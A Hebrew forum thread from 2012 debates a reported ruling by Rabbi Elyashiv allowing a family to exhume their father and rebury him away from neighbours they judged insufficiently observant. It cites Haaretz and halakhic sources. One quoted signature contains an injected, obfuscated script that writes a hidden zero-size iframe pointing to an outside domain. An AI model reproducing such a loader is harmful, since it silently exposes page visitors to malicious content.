| נשלח ב-7/8/2012 09:12 |
 |
| |
היתר הרב אלישיב להעברת קבור מטעמי שכנות ל"רשע"
הנושא הזה היה בבחח וגם הגיע להארץ.
הוא נספח לאשכול על הרב אלישיב כפוסק הדור, בלינק הבא.
http://www.bhol.co.il/forum/topic.asp?cat_id=24&topic_id=2970842&whichpage=3&forum_id=1364#R_7
אבל ראוי לו אשכול בפני עצמו. אז אני מעתיק לכאן ונא לכתוב כאן בלבד בנושא זה.
דייר כתב:
"היו פה שני אברכים חסידיים", מספר הגרב"צ ביידיש, ובהמשך עובר לעברית. "היה להם אבא חשוב, שכתב בצוואה לקבור אותו בבית העלמין בסנהדריה. סיפרתי לרב, שאחרי שקברו אותו, הם באו לקבר וחשכו עיניהם. הם פתאום ראו שלידו קבורים אנשים – אולי שומרי שבת, אבל ודאי לא מדקדקים במצוות. המשפחות באות בפריצות נוראה. הרבי אמר שיכולים להעביר אותו להר הזיתים". הגרי"ש זצוק"ל משיב: "אוואד'ע!" (ודאי). הגרב"צ: "עכשיו שואלים אם חובה להעביר מדין כיבוד אב". הגרי"ש: "ודאי. חייבים". הגרב"צ: חייבים משום שזהו ביזיון לאב להיות במקום כזה? הגרי"ש: "ודאי. חייבים". אתם מבינים?????? אותו בעל חסד היה צריך להקבר רק על יד צדיקים גמורים כמותו סתם שומרי שבת קטנים עליו. "פריצות נוראה" עשו מופע סטריפטיז על הקברים ליד?????? התחרפנות גמורה המקור כאן http://www.bhol.co.il/Article.aspx?id=43407
ירוחםשמ כתב:
דייר
הרב אליישיב היה פוסק לציבור שלו- כל ציבור ראוי לפוסק לפי דרגתו וערכו של הציבור. כתוב דור דור ודורשיו, ציבו וציבור והפוסק שלו.
הרי לא היה עולה על הדעת להעביר עצמות של מתים -כמעט ודאי פאגניים- לטובת הציבור!
דייר כתב:
אם במתים עסקינן אז ידוע שהוא התנגד לקבורה בקומות אלא רק בקבורת שדה.
זאת אומרת לא מעניין אותי שכל הארץ תהיה בית קברות אחד גדול העיקר לא לסטות
ממה שאני מכיר ופוסק.
ירוחשמ כתב:
מה שהוא הכיר? הוא הרי היה יליד ירושליים הוא הכיר את קברות הסנהדרין
 |
|
|
|
|
| נשלח ב-7/8/2012 09:13 |
|
| |
דייר
<"היו פה שני אברכים חסידיים", מספר הגרב"צ ביידיש, ובהמשך עובר לעברית. "היה להם אבא חשוב, שכתב בצוואה לקבור אותו בבית העלמין בסנהדריה. סיפרתי לרב, שאחרי שקברו אותו, הם באו לקבר וחשכו עיניהם. הם פתאום ראו שלידו קבורים אנשים – אולי שומרי שבת, אבל ודאי לא מדקדקים במצוות. המשפחות באות בפריצות נוראה. הרבי אמר שיכולים להעביר אותו להר הזיתים"> http://www.bhol.co.il/forum/topic.asp?topic_id=1649453&forum_id=1364 בספר "חיים וברכה למשמרת שלום", חידושי דינים ליו"ד אות לא, כותב המחבר: "והנה כעת רבה המכשלה בהרבה מקומות, ולרוב בעיירות הקטנות נעשה הענין אצל הח"ק כמכס בלי קצבה וכמכס העומד מאליו, ולוקחין ממעות הנפטר או ממעות בניו סך רב עד בלי די... והרבה אנשים כשירים יש אשר הם בתוך החברא קדישא, והם ג"כ נלכדים בזה להחזיק ביד הח"ק לעכב קבורת המת עבור שרוצים ממון רב, ונעשה להם הדבר כהיתר, וזה כמעשה שטן המרקד ומצליח בזנ בהסיתולהם דמצווה הוא לעמוד נגד יורשיו, לגבות ממון לצורך העיר, בטענה וכי הנפטר עשה טוב כל ימי היותו, איה צדקותו ופזרונו לעניים, וזכות יהיה לנפטר אם יקחו כעת מעותיו לתקן בדקי העיר... וכל מי שבידו למחות ואינו מוחה עתיד ליתן את הדין, והירא דבר השם ישמור את נפשו, וירחיק א"ע ואת בניו לבל להתערב להיות תוך ח"ק כזו...".
אלא שהוא גם מספר על תעריפים שונים:
"והנה הן אמת באם הח"ק רוצים לקבור את המת בסך מועט, רק שבניו רוצים מקום גבוה וחשוב וסמוך לקברי צדיקים, או חשובי העיר יראי ה' ואנשי מעשה, כבר הסכים עמהם החת"ס (יו"ד סימן ש"ל) דהרשות בידם".
אף שהנוף הוא אותו הנוף, ישנם אנשים המוכנים לשלם עבור השכנות של הצדיקים.
באותו סימן מתלונן החתם סופר על שקוברים "סתם" אנשים ליד צדיקים, רק מפני שקרוביהם מוכנים לשלם כסף רב עבור המקום.
ואם חשבתם ש"מנהג" זה היה רק שם, אתם טועים.
גם החכמת אדם (כלל קנח אות ה), מתלונן על מנהגם של הח"ק:
"ולכן שלא כדין עושין הח"ק שקוברין עשיר שנותן ממון הרבה אף שלא היה אדם כשר אצל צדיק מפורסם".
גם המהרש"ל מתלונן על תופעה זו, שכתב, (ים של שלמה, יבמות פרק שלישי סוף אות ט"ז):
"ומה שנוהגין העשירים לקנות מקום חשוב לקברו, כדי להיות שוכבים אצל צדיק, לפי הסברא יוצא שכרם בהפסדם, כי אולי אינם ראוים לכך ויענשו, כי צר ורע לצדיק שישכב רשע או שאינו הגון אצלו, דמעשה דאלישע יוכיח ע"כ צרי' ראו' היטב, אם לא שידי בעלי כיסים תקפה עלינו".
איני מבין מה רע אם קוברים את העשירים ליד הצדיקים, מפני שהם משלמים כסף?
האם בחייהם לא היו הצדיקים מקרבים את העשירים בגלל הכסף שלהם?
כמה מהיושבים ליד שולחן הצדיק עניים, וכמה מהם הם עשירים?
גם בחייהם וגם במותם הם לא נפרדו.
את האנשים שאינם צדיקים או עשירים הם היו קוברים ע"י הכותל. (חיים וברכה למשמרת שלום בשם "בית יצחק" ח"ב יו"ד סוס"י קנו).
|
|
|
|
|
| נשלח ב-7/8/2012 09:16 |
|
| |
תודה לדייר ולנישטאיך על המקורות.
ואני מציע שאלות מנחות לדיון:
א. מה המקור ומה ההצדקה לבחירת מקורות קבורה?
יש מי שיודע ויש מי שלא. יש מקור בגמרא שהרמב"ם למשל אינו מביאו אך הוא מקבל חשיבות רבה מאד במשך הדורות.
ניתן להציע הסברים שונים, החל באמונות שונות, לאו דווקא קבליות (המת חש מי נקבר לידו ונעלב או מקפיד או סובל) וכלה בכלכליות (החברה קדישא עושה כסף, כהוכחותיו של נישטאיך).
ב. האם מותר להעביר מת מקברו, ובאלו תנאים?
ושאלה צדדית אך מציקה מאד: האם היו פוסקים כן גם לסילוק קברים שמהוים מטרד לבניה, כמו של בית חולים או אוטוסטרדה? ומה המקורות אומרים על זה?
ג. מה היתה תרומתו האישית של הרב אלישיב לנושא? באיזו מידה היא משקפת את פסיקתו? מה טעמיה?
כאן אני מבקש להוסיף פרשנות משלי: יש תשובות שניתנות לשואל, אם כי איני יודע אם זו היתה דרכו של הרב אלישיב. וכבר היו בנושא ספציפי זה אשכולות.
האם התשובה שלו היתה עבור ה"נרווים" של בני המשפחה? אם לא היו מגיעים אליו לבקש, אבל היה יודע לדוגמא שנעשתה קבורה כזו, האם היה פונה בדרישה להעתיק את הקבור למקום אחר?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-7/8/2012 09:20 |
|
| |
השלמות מ"הארץ":
השכנים לקבר לא היו דתיים מספיק, וגופת הרב נעלמה רבנים בכירים אישרו להוציא באישון לילה גופה מקבר, משום שלטענת המשפחה "הרמה הרוחנית" של השכנים אינה מספקת ומדובר בלא פחות מ"ביזיון המת" איש חברה קדישא הגיב אתמול באדישות מפתיעה כשצעדנו יחד אל חלקה ט"ז בבית העלמין סנהדריה בירושלים. זו היתה הפעם הראשונה שנגלה לעיני גורם מוסמך כלשהו קברו הריק של רב חרדי (שמו שמור במערכת), לאחר ששרידי גופתו הועלמו בימים האחרונים בנסיבות מסתוריות אך ללא אישור. הקבר עמד במקומו זה למעלה משמונה שנים, עד שבשבוע שעבר, בחסות החשכה, נשלפה הגופה ממקומה, כנראה בידי בני משפחתו של המנוח או שליחים מטעמם. בני המשפחה, חסידי ברסלב, ביקשו להרחיק את המנוח משכניו לחלקה, שלא היו נאים בעיניהם בגלל "רמה רוחנית" שלטענתם לא היתה ראויה לאבי המשפחה והיתה כרוכה ב"ביזיון המת". העברת הקבר, מעשה חריג ביותר מבחינה הלכתית, זכתה לאישור של בכירי הרבנים החרדים, כולל הרב יוסף שלום אלישיב (שבעצמו הלך לעולמו בחודש שעבר) טרם אשפוזו לפני חצי שנה. שרידי הגופה נטמנו מחדש בבית העלמין בהר הזיתים, סמוך לקבר אביו שהלך לעולמו לאחריו. לנוכח התלולית שהתגלתה רק אתמול בין הקברים בסנהדריה, ובה רגבי אדמה ושברי בלוקים שאכלסו את הקבר, אמר לנו אחד ממנהלי חברה קדישא: "לא חסרים משוגעים".  הקבר הריק בבית העלמין סנהדריה | צילום: אמיל סלמן. את הסיפור פרסם מני גרא ב"קו החשיפות", שירות חדשות טלפוני במגזר החרדי. ל"הארץ" נודע כי מדובר במשפחה מהפלג הקנאי של חסידי ברסלב בשכונת מאה שערים בירושלים. המנוח, שמת ממחלה בגיל צעיר יחסית, נטמן בקבר שהוא עצמו רכש בחייו בבית העלמין סנהדריה, אלא שלאחר מעשה היו אלה בני משפחתו שלא שבעו נחת מהסביבה. לפי הדיווח של גרא, הם התמרמרו על כך שאביהם נטמן ליד אשה וליד מתים אחרים שיש "פקפוק" לגבי רמת שמירת המצוות שלהם. הסיפור היה עשוי להישאר ברמת האנקדוטה אלמלא קיבלו בני המשפחה היתר מרבנים בכירים, ובראשם הרב אלישיב. סרטון שהועלה לאתר "בחדרי חרדים" הציג את "פוסק הדור" - לפי הדיווח חמישה ימים בלבד לפני אשפוזו בתחילת 2012 - כשהוא משיב בחיוב לשאלות בני המשפחה אם הם מצווים להעביר את עצמות אביהם ממקום שהוא בגדר "ביזיון המת". תלמידו של הרב אלישיב, הרב בן ציון קוק, נראה מספר לו על בני משפחת הנפטר כי "אחרי שקברו אותו הם באו וחשכו עיניהם, הם פתאום ראו שלידו קבורים אנשים שהם אולי שומרי שבת אבל ודאי לא מדקדקים במצוות, בני המשפחות באים כולם בפריצות נוראה". הרב אלישיב לא היה לבד. לפי הדיווח התירו את המעשה גם הרב שמואל הלוי ווזנר, הרב יצחק טוביה וייס והרב אליעזר ברלנד מברסלב. נטען כי הרבנים הללו אישרו את העברת העצמות להר הזיתים כבר לפני שנים אחדות, אבל ההיתר קיבל משנה תוקף לאחר פטירת אביו של המנוח. ההיתר ניתן כדי לקבור את הנפטר בסמוך לאביו, דבר רצוי מבחינה הלכתית גם בלא קשר ל"ביזיון" שכביכול פקד אותו בסנהדריה. ל"הארץ" נודע כי לפני כחצי שנה פנתה המשפחה לחברה קדישא "קהילת ירושלים" המנהלת את בית העלמין בסנהדריה, וביקשה את העברת הקבר. חברה קדישא - הגדולה ביותר בירושלים, שנותנת שירות בעיקר למשפחות שאינן חרדיות - דנה בבקשה בישיבת הנהלה ודחתה אותה על הסף. חנניה שחור, מנכ"ל חברה קדישא, סיפר ל"הארץ" כי ידוע לו לפחות על חברה קדישא נוספת בירושלים שהתבקשה להעביר את הגופה וסירבה. לא ידוע מי העביר בפועל את שרידי הגופה, כנראה ביום חמישי האחרון. הוא אמר כי בבית העלמין לא מופקד שומר בשעות הלילה וכי הגישה לקברים חופשית. עוד אמר כי אין בכוונת חברה קדישא לעשות דבר לנוכח מה שנראה כהסגת גבול, לכל הפחות. אחת הסברות היא שאחת מחברות קדישא הקטנות בעיר ביצעו את ההעברה.  חלקת הקבר הריקה בסנהדריה בירושלים, אתמול | צילום: אמיל סלמן. הוצאת גופות מקבריהן היא אקט בעייתי מבחינה הלכתית, ומשום כך יצאו חוגי העדה החרדית וארגון "אתרא קדישא" לעשרות מאבקים מאז קום המדינה תחת הדגל של הגנה על כבוד המת. הבולט שבהם בשנים האחרונות פרץ סביב בית החולים ברזילי באשקלון, שם התנגדו החרדים בהובלת אתרא קדישא להעתקת קברים - ככל הנראה של לא יהודים - לשם הקמת חדר מיון ממוגן. עם זאת, העתקת קברים היא אפשרית בתנאים מסוימים, כאשר אין ברירה אחרת, וטומנת בחובה מקבץ דיני קבורה ואבלות. בסופו של דבר, זהו סיפור המלמד שהכיתתיות והבדלנות יכולות להימשך גם בעולם שכולו טוב. מקריאת הכתובות על המצבות השכנות לקבר של הנפטר, עולה לא רק ששכניו המנוחים היו בחייהם יהודים שומרי מצוות, אלא מתברר פרט חשוב הרבה יותר: שני השכנים, גבר ואשה, נפטרו כאשר הוא עוד היה בחיים ובחר להיקבר לידם: האשה נפטרה בשנת תשנ"ג (1993) והאיש נפטר בתש"ל (1970). המנוח - שאומרים כי היה איש חסד מופלא וידוע בירושלים - ככל הנראה בחר להיקבר לידם. משפחתו, מגובה בבכירי הרבנים, חשבה אחרת. תגובת המשפחה לא התקבלה עד מועד סגירת הגיליון. http://www.haaretz.co.il/news/education/1.1795482
|
|
|
|
|
| נשלח ב-7/8/2012 09:24 |
|
| |
אולי בנותן טעם להביא סיפור מעניין וידוע לחלקנו על הבאתו לקבורה של בעל ה"שרידי אש".
ויקי
http://he.wikipedia.org/wiki/%D7%A9%D7%A8%D7%99%D7%93%D7%99_%D7%90%D7%A9#.D7.A1.D7.A4.D7.A8.D7.99.D7.95
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-7/8/2012 09:39 |
|
| |
|
|
|
|
| נשלח ב-7/8/2012 10:21 |
|
| |
[תודה, אבל לא יכולתי לראות זאת כי אני מדיר מקלדתי מהאתר הזה מסיבות דתיות, יהודיות ופוליטיות... וד"ל].
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-7/8/2012 10:22 |
|
| |
מיימוני,
א. כמו שהזכרת, ישנו מקור במשנה, סנהדרין(ו', ה'): "שתי בתי קברות היו מתוקנין לבית דין אחת לנהרגין ולנחנקין ואחת לנסקלין ולנשרפין", ובגמרא(מ"ז, א'): "אמר רבי אחא בר חנינא: מנין שאין קוברין רשע אצל צדיק..", אך כיוון שאין זה מבאר דברי המשנה, הועסקת ברשעים(הרוגי בי"ד) מוסיפה הסתמא דגמרא: "וכשם שאין קוברין רשע אצל צדיק כך אין קוברין רשע חמור אצל רשע קל" הירושלמי איננו מעיר דבר על משנה זו.
הסתמא דגמרא מקשים: "וליתקון ארבע קברות", ומתרצים: "שני קברות גמרא גמירי לה", ולכן כתב הרמב"ם(בפיהמ"ש): "ואלו השתי קבורות הלכה גמירי לה, ואין לזה ראיה ולא סמך בכתוב אלא קבלה בלבד".
מדברי רש"י נ"ל ברור שהבין כדברי, שכל הסוגיא הינה מהלך אחד. אך הברטנורא מפרש שאלו ב' טעמים: תחילה נתנו טעם מדוע אין קוברים אותו בקברי אבותיו - שאין קוברים צדיק אצל רשע, ואח"כ נתנו טעם מדוע נקברים הנשרפים והנסקלין יחד, והנתלין והנהרגין יחד, ועל דא אמרינן שגם בדרגות הרשעה ישנה חלוקה(ור' בערוך לנר שנתקשה בסוגיא זו כי פירש כברטנורא).
הרמב"ן(בתורת האדם - שער הסוף, עניין הקבורה) הביא זה להלכה, וראייתו ממועד קטן(כ"ה, א'): "כי נח נפשיה דרב הונא ואסקוהו לארץ ישראל אמרו היכא נינחיה נינחיה גבי ר' חייא דרב הונא ריבץ תורה בישראל ור"ח ריבץ תורה בישראל", ושם(י"ז, א'): "עיילוהו למערתא דחסידי ולא קבלוהו למערה דדייני וקבלוהו דעביד כרבי אלעאי..", ומזה מסיק הרמב"ן: "צדיק וכשר בינוני אין קוברין אותו אצל חסיד גמור ומופלג".
דברים אלו נפסקו בשו"ע(יו"ד שס"ב, סע' ה').
אך כבר במשנה משתמע שישנה חשיבות לאדם להקבר בקברי אבות,וכך מפורש בירושלמי מועד קטן(פ"ב, ה"ד): "ערב הוא לאדם שהוא נינוח אצל אבותיו".
לכן לענ"ד במקור זו מחלוקת פרשנית לגיטימית, שהעיקר העולה מרוח המקורות הוא כשו"ע שפסק זה להלכה, דתפסו התנאים והאמוראים שישנו עניין מסויים לקבור אדם במקום הראוי לו מצד מעשיו בחייו. האחרונים(ר' למשל חת"ס של"ג) נוקטים כבר שזה "כבודו" להיקבר במקום הראוי לו. ואומנם, מדברי הגמרא בסנהדרין מ"ז באיבעיא אם הספידא יקרא דשכבי, מוכח שישנה תפיסה של כבוד המת ממש(לא רק בהקשר של חילול גופו וכד').
על כן, מה שתפסו העם בדורות המאוחרים שכבוד הוא להקבר ליד צדיקים, הרי תפיסה אמונית זו(כן נלענ"ד שאין זה שייך כל לדין, אלא להשקפה) מעוגנת היטב אצל חז"ל, אע"פ שכיום לא נראה שהיו לה תומכים.
ב. בסוגיית העברת מת מקברו נדונו הרבה טעמים, וזה תליא גם בענייני גרסאות. עיקרי ההיתרים מובאים בשו"ע יו"ד שס"ג, והציץ אליעזר(ח"ה סי' כ') מאריך בזה.
לענ"ד נראה ברור שצודק המהר"ם שיק(סי' שכ"ד-שכ"ה) שתלה הכל בדיני קניין המת את מקומו, ככל דיני קניין של אדם חי.
אם תרצה, אפשר להאריך בזה.
|
|
|
|
|
| נשלח ב-7/8/2012 10:30 |
|
| |
אם העתקת הקבר נעשתה בשל החשש שבנות משפחת הנפטרים החילוניים תבואנה לבושות בחוסר צניעות לקבר הוריהן ,ואז בני משפחת הרב עלולים ח"ו להתקל בהן -הרי נמצא כבר מי שהמציא את הפיתרון לכך שהוא הרבה יותר סביר:
http://www.mynet.co.il/articles/0,7340,L-4264799,00.html
תוקן על ידי אפריםבן ב- 07/08/2012 10:49:00
|
|
|
|
| נשלח ב-7/8/2012 10:31 |
|
| |
צפו בסרט המתעד את שיחת הרב קוק עם הרב אלישיב - הרב אלישיב לא ידע עם מי הוא מדבר, בטח לא על מה. בצורה הזו, הוא היה חוזר בו גם מפסק הדין בעניין האח והאחות.
שואל: "הרעבע אמר פעם שצריך לדון מחדש בכל הפרשה של האח והאחות. הרעבע אמר לי בשנת תשנ"ג, שיש איזו גמורע, שאולי עולה ממנה שיש סבורע שאם הנדונים הם חרדים, אז הדין שונה".
משיב: "אוואדע".
שואל: "הרעבע התכוון בטח לצאצאים שלהם. הרעבע לא חשב אז שיהיו להם ילדים חרדים. אבל היום כולם חרדים ברוך ה', לומדים בישיבות קדושות ברוך ה'. הנכד אפילו מפיץ ראשי של הפלס בביתר עילית. קידוש ה' ממש".
משיב: "אוואדע" שואל: "הרעבע חושב עכשיו שצריך להגיד שהם יהודים כשרים. הרעבע מרשה לי לפרסם את הפסק".
משיב: "אוואדע" שואל (מסתובב אחורה): "צילמת הכל?"
צלם: "אוואדע"
_________________
אוי לשכן
ואוי לשכנו
|
|
|
|
| נשלח ב-7/8/2012 10:31 |
|
| |
| מיימוני כתב: |  | | [תודה, אבל לא יכולתי לראות זאת כי אני מדיר מקלדתי מהאתר הזה מסיבות דתיות, יהודיות ופוליטיות... וד"ל]. _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
עיתון הארץ יותר טוב??????
אולי כי הוא עיתון לאנשים חושבים והפורום נקרא עצור כאן חושבים.
|
|
|
|
| נשלח ב-7/8/2012 10:34 |
|
| |
הסיכום הטוב ביותר לכל הענין מתוך הכתבה מהארץ
" אמר לנו אחד ממנהלי חברה קדישא: "לא חסרים משוגעים". "
מה שעצוב שרבנים נחשבים נותנים יד לשגעון.
|
|
|
|
| נשלח ב-7/8/2012 10:40 |
|
| |
הרב מימוני על זה שאתה מדיר עייניך מהעתון המשוקץ  הראשון שהעבירו אותו מקברו
מלכים ב פרק יג
(כ) וַיָּמָת אֱלִישָׁע וַיִּקְבְּרֻהוּ וּגְדוּדֵי מוֹאָב יָבֹאוּ בָאָרֶץ בָּא שָׁנָה:
(כא) וַיְהִי הֵם קֹבְרִים אִישׁ וְהִנֵּה רָאוּ אֶת הַגְּדוּד וַיַּשְׁלִיכוּ אֶת הָאִישׁ בְּקֶבֶר אֱלִישָׁע וַיֵּלֶךְ וַיִּגַּע הָאִישׁ בְּעַצְמוֹת אֱלִישָׁע וַיְחִי וַיָּקָם עַל רַגְלָיו: פ
אבל שאלה לכל המבינים ויודעים - הקבורה הראשונה הרי היתה לפני מספר שנים, הרי דין הרשעים בגהנום רק 11 חורש. ו נניח ואפילו האיש היה רשע, הר הוא היום כבר צדיק. משפחתו? הרי לא משפחתו קבורה שם!
|
|
|
|
| נשלח ב-7/8/2012 10:52 |
|
| |
ירוחם גם אותך אני שואל האם עיתון הארץ יותר טוב מהעיתון המשוקץ?
זה נבלה וזה טריפה.
|
|
|
|
|
| נשלח ב-7/8/2012 10:58 |
|
| |
הוי העוסקים בעצמות פחמת הסידן וזרחן, ושוכחים את החיים.
|
|
|
|
| נשלח ב-7/8/2012 11:09 |
|
| |
הוי העוסקים בעצמות פחמת הסידן וזרחן, ושוכחים את החיים"
הם לא מוכנים לשכב בקבר ליד אותם אנשים שנהרגו במלחמות כדי להגן עליהם.
בשואה שבה לא היו חיילי ישראל להגן עליהם -כולם נקברו יחד בקבר אחים (במקרה הטוב) לא שמעתי שבאו להתייעץ עם רבנים האם להוציאם מקבריהם.
.
|
|
|
|
|
